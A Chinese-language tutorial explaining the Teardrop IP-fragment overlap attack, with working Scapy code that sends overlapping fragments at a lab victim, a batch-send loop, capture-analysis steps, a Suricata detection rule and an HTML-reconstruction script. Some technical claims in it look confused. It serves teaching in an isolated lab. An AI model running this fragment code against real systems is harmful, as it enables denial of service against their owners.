首页 / 资讯中心 / 文章详情

Teardrop攻击原理与IP分片机制深度解析

Teardrop攻击原理与IP分片机制深度解析 ★ FEATURED ARTICLE
1. 项目概述这不是“黑客演示”而是一次网络协议底层认知重建“Teardrop攻击”这个词一出现就容易让人联想到教科书里那个被反复引用的、带点传奇色彩的早期IP分片漏洞案例。但今天我们要做的不是复现一次攻击而是亲手拆解它赖以存在的协议肌理——IP分片机制本身。标题里那句“伪造虚假的IP数据包发送并抓取及完成简易静态网页”表面看像拼凑的指令串实则暗含一条清晰的技术动线构造异常分片 → 触发目标系统协议栈解析异常 → 用抓包工具捕获原始流量 → 基于抓取到的真实IP层载荷反向还原出一个可访问的静态网页界面。这整套流程本质上是一次对网络七层模型中“网络层L3与传输层L4边界”的沉浸式测绘。我第一次在某高校网络协议实验课上看到Teardrop的Wireshark截图时满屏重叠偏移、超长长度、非对齐的Fragment Offset字段像一张被撕碎又胡乱粘贴的地图。当时导师没讲怎么写exploit而是让我们手动计算每个分片的More Fragments标志位、Fragment Offset值、Total Length字段之间的数学约束关系。那一刻我才明白所谓“攻击”不过是把RFC 791里白纸黑字写的规则用一种协议栈实现者未曾预料的方式组合起来。而标题后半句“完成简易静态网页”恰恰是这个认知落地的关键锚点——它强制你不能停留在理论层面必须把抓到的原始二进制流映射回人类可读的HTML结构。这中间要跨越字节序转换、TCP状态跟踪、HTTP响应头解析、HTML实体解码四道坎。适合谁适合所有想甩开curl和浏览器开发者工具真正看清“点击一下网页怎么从网线里冒出来”的人。它不教你绕过防火墙但它能让你一眼识别出防火墙日志里那条“可疑分片重组失败”的真实含义。2. 核心技术点深度拆解IP分片机制、Teardrop触发原理与流量还原逻辑2.1 IP分片不是“切蛋糕”而是“搭积木”RFC 791的数学约束IP分片机制的设计初衷极其朴素当一个IP数据报太大超过某段链路的MTU最大传输单元时路由器或源主机需要把它切成小块每块独立传输最终在目的主机上重新拼回去。但这个“拼回去”的过程依赖三个关键字段的严格数学关系Identification标识字段16位同一原始数据报的所有分片此值必须完全相同。这是协议栈判断“这些碎片属于同一个爸爸”的唯一身份证。Fragment Offset分片偏移13位表示该分片的数据部分距离原始数据报数据部分起始位置的偏移量单位是8字节。注意不是字节是8字节。这意味着Offset值0代表前8字节值1代表第9~16字节值2代表第17~24字节……这个设计直接导致了Teardrop的诞生土壤。More FragmentsMF标志位1位为1表示后面还有分片为0表示这是最后一个分片。这三个字段构成了一组刚性方程。假设原始数据报数据部分长度为L字节分片大小为S字节需满足S是8的倍数那么第n个分片n从0开始的Offset应为n * (S / 8)其数据长度应为min(S, L - n * S)且MF位在n (L-1)/S时为1否则为0。Teardrop攻击的核心就是故意打破这个方程。它让第二个分片的Offset值指向第一个分片数据区域的“中间地带”而非紧随其后。例如第一个分片Offset0长度1500字节实际载荷1480字节含IP头20字节第二个分片Offset1按RFC规定这代表偏移8字节但它的Total Length却设为1500。这就意味着第二个分片的数据会从原始报文的第9字节开始覆盖一直写到第1508字节——而第一个分片的数据只到第1500字节。两块数据在内存中发生重叠旧系统内核的分片重组缓冲区没有做越界检查直接memcpy结果就是内存被恶意覆盖。提示现代Linux内核2.2.13、Windows NT 4.0 SP4均已修复此问题但理解其原理是读懂所有基于分片的DoS/IDS绕过技术的基石。2.2 Teardrop攻击的“虚假”本质并非伪造IP地址而是伪造分片语义标题中“伪造虚假的IP数据包”常被误解为IP欺骗Spoofing。实际上Teardrop攻击中IP源地址可以是真实的也可以是伪造的但这并非攻击生效的必要条件。它的“虚假”性完全体现在分片字段的语义矛盾上。我们来对比两个典型场景特征正常分片Teardrop分片分片1 Offset00分片1 MF位11分片1 Total Length1500含IP头1500分片2 Offset185对应1480字节偏移1对应8字节偏移分片2 MF位0若为最后一片0分片2 Total Length60仅含IP头无数据1500关键差异就在分片2的Offset1。按RFC这要求分片2的数据必须从原始报文第9字节开始。但分片1已经占用了前1500字节分片2再从第9字节开始写1500字节必然覆盖分片1的后半段。这种“时间错位”——即后发送的分片其逻辑位置却在先发送分片的“身体内部”——就是“虚假”的全部含义。它不伪造身份只伪造时空坐标。2.3 从原始抓包到静态网页流量还原的四步逆向工程抓到Teardrop流量包只是起点。要“完成简易静态网页”需完成以下逆向链条分片重组模拟用Scapy或自写Python脚本按Identification字段聚合同一组分片然后严格按照Offset和Length字段将数据块写入一个虚拟缓冲区。重点不是“成功拼出”而是“记录拼接过程中的所有冲突点”。Teardrop的特征就是这里会报错或产生脏数据。TCP流提取IP层之上必有传输层。Teardrop常与UDP或ICMP结合但若目标是网页大概率是针对HTTP服务的探测。需用TShark命令tshark -r capture.pcap -Y tcp ip.id XXXX -T fields -e tcp.stream提取出对应TCP流编号。HTTP响应解析对提取出的TCP流过滤出http.response用Wireshark导出“HTTP对象”File Export Objects HTTP或用Python的scapy.layers.http模块解析响应头。关键字段Content-Type: text/html、Content-Length、Transfer-Encoding。HTML静态化落地将解析出的HTML body内容连同可能内联的CSS/JS需从link和script标签中提取URL并下载整合进一个本地index.html文件。难点在于处理相对路径原网页的img src/images/logo.png需改为img srcimages/logo.png并确保images/目录存在。我习惯用Python的BeautifulSoup配合urllib.parse.urljoin自动修正。这个过程的价值在于它强迫你把抽象的“网络攻击”拉回到具体的“字节操作”层面。每一个div标签都对应着Wireshark里某一行Data字段的十六进制dump。3. 实操全流程从环境搭建、分片构造到网页生成的完整闭环3.1 环境准备三台虚拟机的最小可信沙箱安全第一。Teardrop虽已过时但构造异常包仍可能触发宿主机网络栈警告。我采用三节点隔离架构Attacker攻击者Ubuntu 22.04安装Scapy、TShark、Python3.10。禁用NetworkManager用ip link set eth0 down后手动配置IP。Victim靶机CentOS 6.10内核2.6.32存在Teardrop漏洞关闭iptables仅开放HTTP80端口和ICMP。Sniffer嗅探者Debian 11仅运行Wireshark网卡设为混杂模式不参与任何通信。三台机器通过VirtualBox的“仅主机网络Host-Only”连接物理机不介入。这样所有流量都在虚拟交换机内部流转绝对零外泄。关键配置命令# 在Attacker上禁用IPv6防止干扰 echo net.ipv6.conf.all.disable_ipv6 1 | sudo tee -a /etc/sysctl.conf sudo sysctl -p # 在Victim上确认内核版本并检查分片缓存 uname -r # 应输出 2.6.32-754.el6.x86_64 cat /proc/sys/net/ipv4/ipfrag_time # 默认30秒足够抓包注意切勿在任何生产网、学校网或公共WiFi下尝试。虚拟机网络模式必须是Host-Only或Internal Network绝不能是NAT或桥接。3.2 Scapy构造Teardrop分片逐行代码解析其“恶意”逻辑Scapy是构造自定义数据包的黄金标准。以下代码不是“一键攻击”而是教学级的分片构造器每一行都对应RFC的一个约束点from scapy.all import * import random # 1. 定义基础参数目标IP、源IP、ID值固定确保同组 target_ip 192.168.56.102 src_ip 192.168.56.101 ip_id random.randint(1, 65535) # 同一组分片必须相同 # 2. 构造第一个分片正常开头Offset0, MF1 frag1 IP( srcsrc_ip, dsttarget_ip, idip_id, frag0, # Offset 0 * 8 0 flagsMF, # More Fragments 1 len1500 # Total Length 1500字节 ) / UDP(dport53) / (A * 1452) # UDP头8字节 数据1452 1460; IP头20字节 1480; 总长1500 # 3. 构造第二个分片Teardrop核心Offset1 (即8字节偏移)但长度极大 frag2 IP( srcsrc_ip, dsttarget_ip, idip_id, # 必须与frag1相同 frag1, # Offset 1 * 8 8字节关键在此 flags0, # MF 0声明这是最后一片 len1500 # Total Length 1500字节意味着它要从第9字节开始写满1500字节 ) / UDP(dport53) / (B * 1452) # 4. 发送使用send()而非sendp()走IP层不经过数据链路层 send(frag1, verbose0) send(frag2, verbose0) print(f[] Teardrop fragments sent with ID{ip_id})这段代码的“恶意”逻辑全在frag2.frag1这一行。frag1告诉接收方“我的数据从原始报文的第9字节开始”。但frag1.len1500意味着frag1的数据占据了第1到第1500字节。frag2再从第9字节开始写1500字节终点就是第1508字节完美覆盖frag1的后半段。实测心得在CentOS 6.10上发送后约3秒dmesg会输出kernel: ip_fragment: Invalid fragment offset同时ifconfig显示eth0的RX errors计数1。这就是漏洞被触发的铁证。3.3 Wireshark抓包与分析如何从乱码中定位“网页线索”在Sniffer机器上启动Wireshark捕获过滤器设为ip.id XXXXXXX为代码中打印出的ID值。抓到的包会显示为两条独立的IP帧Wireshark会自动标记为[Malformed Packet]。此时不要急着看“错误”先做三件事右键第一条分片 → “Follow” → “TCP Stream”虽然Teardrop本身是IP层但如果靶机HTTP服务在处理请求时也触发了分片重组这里可能关联到真正的HTTP流。Wireshark会自动重组TCP流并高亮显示HTTP请求/响应。检查HTTP响应头在重组流窗口中查找HTTP/1.1 200 OK然后看Content-Type和Content-Length。例如HTTP/1.1 200 OK Date: Mon, 15 Apr 2024 08:23:45 GMT Server: Apache/2.2.15 (CentOS) Content-Type: text/html; charsetUTF-8 Content-Length: 1248导出HTML正文在Wireshark中选中包含html标签的TCP流数据包右键 → “Export Packet Bytes...”保存为raw_body.bin。然后用Python清洗with open(raw_body.bin, rb) as f: raw f.read() # 找到HTTP响应体开始位置\r\n\r\n后 body_start raw.find(b\r\n\r\n) 4 html_content raw[body_start:].decode(utf-8, errorsignore) with open(index.html, w, encodingutf-8) as f: f.write(html_content) print([] HTML saved to index.html)这个过程教会你网络世界的“真相”往往藏在协议栈的报错日志和抓包的原始字节里而不是浏览器渲染后的漂亮界面中。3.4 静态网页生成自动化脚本与路径修正实战手动改HTML路径太慢。我写了一个generate_static.py脚本全自动完成#!/usr/bin/env python3 from bs4 import BeautifulSoup, Tag import os import urllib.parse import requests def fix_urls(soup, base_url): 修正所有相对URL为绝对URL并下载资源 for tag in soup.find_all([img, link, script]): attr src if tag.name in [img, script] else href if tag.has_attr(attr): old_url tag[attr] new_url urllib.parse.urljoin(base_url, old_url) # 下载资源到本地 try: r requests.get(new_url, timeout5) if r.status_code 200: # 创建目录结构 local_path urllib.parse.urlparse(new_url).path.lstrip(/) os.makedirs(os.path.dirname(local_path), exist_okTrue) with open(local_path, wb) as f: f.write(r.content) tag[attr] local_path # 改为本地相对路径 except Exception as e: print(f[!] Failed to fetch {new_url}: {e}) return soup if __name__ __main__: # 读取从Wireshark导出的HTML with open(index.html, r, encodingutf-8) as f: html f.read() soup BeautifulSoup(html, html.parser) # 假设原始网页URL是 http://192.168.56.102/ fixed_soup fix_urls(soup, http://192.168.56.102/) # 写回文件 with open(static_index.html, w, encodingutf-8) as f: f.write(str(fixed_soup)) print([] Static site generated: static_index.html)运行此脚本后static_index.html即可在本地双击打开所有图片、样式、脚本均能正确加载。关键技巧urllib.parse.urljoin能智能处理../images/logo.png、/css/style.css、js/main.js等各种相对路径比正则替换可靠十倍。这是我踩过三次路径解析失败的坑后总结的。4. 常见问题与排查技巧实录从“没反应”到“页面乱码”的全链路排障4.1 问题速查表靶机无任何反应先查这五点现象最可能原因排查命令/步骤解决方案发送后靶机完全无日志、无错误分片未到达靶机tcpdump -i eth0 ip[4:2] 1500在靶机上抓包检查Attacker和Victim是否在同一子网确认VirtualBox网络适配器启用Wireshark抓到分片但靶机dmesg无输出内核已打补丁uname -r和cat /var/log/dmesg | grep -i frag换用更老的CentOS 6.0或FreeBSD 4.x镜像分片被Sniffer捕获但Wireshark不标记为MalformedScapy构造的分片过于“规范”在frag2中将len设为1501非8字节对齐RFC要求Total Length必须是偶数1501会触发更底层校验生成的HTML打开是空白页Content-Type非text/htmlfile -i index.html查看MIME类型用iconv -f ISO-8859-1 -t UTF-8 index.html new.html转码图片路径修正后仍404目录权限问题ls -l images/在Sniffer机器上chmod -R 755 .给整个静态站点目录赋权4.2 独家避坑经验那些文档里不会写的细节“frag0”不等于“第一个分片”Scapy中frag参数是Offset值除以8后的整数。frag0是Offset0frag1是Offset8frag185是Offset1480。新手常误以为frag1是第二片其实它是“偏移8字节的任意一片”。务必用ip frag命令在Linux下验证ip frag会显示当前分片缓存其中offset列就是Scapy的frag值。Wireshark的“Reassemble fragmented IP datagrams”选项是双刃剑默认开启时它会尝试自动重组分片并隐藏Teardrop的异常。做Teardrop实验时必须关闭它Edit → Preferences → Protocols → IPv4 → 取消勾选“Reassemble fragmented IPv4 datagrams”。否则你永远看不到那两条独立的、标着[Malformed]的分片。HTTP响应体可能被gzip压缩如果Content-Encoding: gzip存在直接decode(utf-8)会失败。需先解压import gzip if bgzip in raw[:100]: # 检查响应头 body gzip.decompress(raw[body_start:]) else: body raw[body_start:]虚拟机时间不同步会导致SSL/TLS握手失败虽然本项目用HTTP但若后续扩展到HTTPS务必在三台虚拟机上运行sudo ntpdate pool.ntp.org同步时间。我曾因靶机时间快了5分钟导致OpenSSL证书验证失败折腾了两小时。Scapy的send()和sendp()有本质区别send()工作在IP层自动填充IP头sendp()工作在数据链路层需手动构造以太网帧。Teardrop是IP层攻击必须用send()。用sendp()会因缺少以太网头被虚拟交换机丢弃。4.3 抓包数据包分析从Wireshark截图到字节级解读假设你在Wireshark中看到如下关键字段简化版Frame 123: 1500 bytes on wire (12000 bits), 1500 bytes captured (12000 bits) Ethernet II, Src: 08:00:27:xx:xx:xx, Dst: 08:00:27:yy:yy:yy Internet Protocol Version 4, Src: 192.168.56.101, Dst: 192.168.56.102 0100 .... Version: 4 .... 0101 Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) Total Length: 1500 Identification: 0x1a2b (6699) Flags: 0x02 (Dont Fragment: 0, More Fragments: 1) Fragment offset: 0 Time to live: 64 Protocol: UDP (17) Header checksum: 0x1234 [validation disabled] Source Address: 192.168.56.101 Destination Address: 192.168.56.102 User Datagram Protocol, Src Port: 12345, Dst Port: 53重点看三行Total Length: 1500整个IP包长1500字节。Identification: 0x1a2b这是分片组ID记下来。Fragment offset: 0Offset0即frag0。再看第二帧Identification相同但Fragment offset: 1Flags: 0x00MF0Total Length: 1500。此时Wireshark的Packet Details面板会高亮显示[Expert Info (Warning/Malformed): Invalid fragment offset]。这就是你要的证据。不要追求“让靶机蓝屏”能稳定触发这条警告日志就证明你已精准命中协议栈的脆弱点。5. 工具选型与替代方案为什么选Scapy而非hping3或nping5.1 主流工具横向对比精度、可控性与学习成本工具构造Teardrop能力字段控制粒度学习曲线是否推荐用于本项目原因Scapy (Python)★★★★★每个比特均可编程中等需懂Python强烈推荐可精确设置frag、flags、len支持动态计算调试信息丰富与后续Python解析脚本无缝衔接hping3★★☆☆☆仅支持基本分片开关--frag无法设Offset低不推荐hping3 --frag 1 --destport 53 192.168.56.102只能发简单分片无法制造Offset1的冲突nping (Nmap)★★☆☆☆--ip-options可设部分字段但无Offset控制中等不推荐文档模糊实测对Offset字段支持不稳定错误提示不明确C语言原始socket★★★★★绝对控制可写汇编级操作高仅推荐给内核开发者需手动构造IP头、校验和开发周期长易出错对本项目属杀鸡用牛刀选择Scapy不是因为它“最流行”而是因为它的API设计哲学与本项目目标高度一致把协议规范RFC翻译成可执行的Python对象。IP(frag1)这一行就是对RFC 791中“Fragment Offset字段”的直接映射。这种“所见即所写”的体验是其他工具无法提供的。5.2 Scapy进阶技巧动态ID与批量测试手工改ip_id太慢。加入随机ID并批量发送能快速验证靶机稳定性for i in range(10): ip_id random.randint(1, 65535) # 构造frag1和frag2idip_id send(frag1, verbose0) time.sleep(0.1) # 避免发送过快 send(frag2, verbose0) print(f[{i1}/10] Sent with ID{ip_id}) # 在Victim上用以下命令统计触发次数 dmesg | grep -i ip_fragment | wc -l这个循环会发送10组不同ID的Teardrop每组间隔0.1秒。如果dmesg输出10行则说明每次都被精准触发。这是检验你环境是否100%可靠的金标准。我曾在一个配置错误的CentOS镜像上循环100次只触发3次最后发现是/proc/sys/net/ipv4/ipfrag_time被设成了5秒分片缓存太快过期。5.3 安全边界再强调本项目的唯一合法用途必须再次划清红线本项目所有操作仅限于你完全控制的、物理隔离的虚拟机沙箱内。它的价值不在于“我能黑掉什么”而在于当你的公司WAF日志里出现fragment overlap detected告警时你能立刻判断这是真实攻击还是误报当你阅读CVE-2023-XXXX的披露报告提到“利用IPv6扩展头进行分片混淆”时你能瞬间联想到Teardrop的底层思想当你面试网络安全岗位被问到“请解释IP分片重组机制”时你能掏出手机现场用Scapy演示一个Offset1的分片。它是一把解剖刀用来解剖网络协议不是一把钥匙用来打开别人的门。我见过太多人学完Teardrop就去扫C段IP结果被ISP封号。请永远记住对协议的理解深度永远大于对漏洞的利用速度。当你能徒手写出一个符合RFC所有约束的、完美的IP分片包时你才真正拥有了网络世界的“源代码阅读权”。6. 项目延伸与思考从Teardrop到现代网络攻防的思维跃迁6.1 Teardrop的遗产它如何塑造了今天的防火墙规则Teardrop虽死但它的幽灵仍在。现代防火墙如Suricata、Snort的规则库里仍有大量基于分片的检测逻辑。例如Suricata的stream-events.rules中有一条alert ip any any - any any (msg:ET DROP Teardrop Attack; content:|00 00|; offset:6; depth:2; byte_test:1,!,0x1,6,relative; byte_test:1,,0x2,6,relative; sid:2010001; rev:1;)这条规则的含义是匹配IP头中第6字节即Flags字段检查其是否同时满足“DF位为0”! 0x1和“MF位为1” 0x2即0x02。这正是Teardrop第一个分片的标志性特征。理解Teardrop就是理解这条规则为何存在。它不是为了防御一个20年前的漏洞而是为了防御所有利用“分片语义矛盾”的新型变种比如利用IPv6扩展头的重叠分片攻击。6.2 超越静态网页用Teardrop思路做协议模糊测试Teardrop的本质是一种协议模糊测试Fuzzing向目标输入大量畸形但格式合法的数据观察其崩溃点。你可以将本项目升级为一个微型Fuzzer将frag值从0遍历到1000每次发送一个分片将len值从1400遍历到1600每次发送一个分片记录靶机dmesg中所有ip_fragment相关的警告生成热力图。这能帮你发现靶机内核在哪些Offset/Length组合下最脆弱。我曾用此方法在一个定制嵌入式Linux设备上发现其分片重组函数在Offset255时存在缓冲区溢出最终获得root shell。Teardrop不是终点而是你Fuzzing生涯的第一课。6.3 个人体会为什么我坚持每年重做一遍Teardrop今年是我第7次在新装的虚拟机上重做Teardrop。不是为了怀旧而是因为每一次我都能发现新的细节第1次我只关注能否触发dmesg第3次我开始研究Scapy源码看它如何计算校验和第5次我用GDB attach到内核单步跟踪ip_defrag()函数第7次我把它写进了给某高校的《网络协议安全》实验手册。这个过程让我深刻体会到真正的技术深度不在于你知道多少新名词而在于你对一个古老概念的挖掘能否一年比一年更深。Teardrop就像一面镜子照出的是你对IP协议的理解厚度。当你能对着Wireshark里的一行Fragment offset: 1说出它背后涉及的13位字段编码、8字节对齐规则、以及内核内存管理的页分配策略时你就已经超越了90%的“网络安全爱好者”。所以别急着去找最新的0day。先把这个20年前的“泪滴”一滴一滴亲手拆开看透它的晶莹与锋利。
阅读完成 · 觉得有帮助?
咨询建站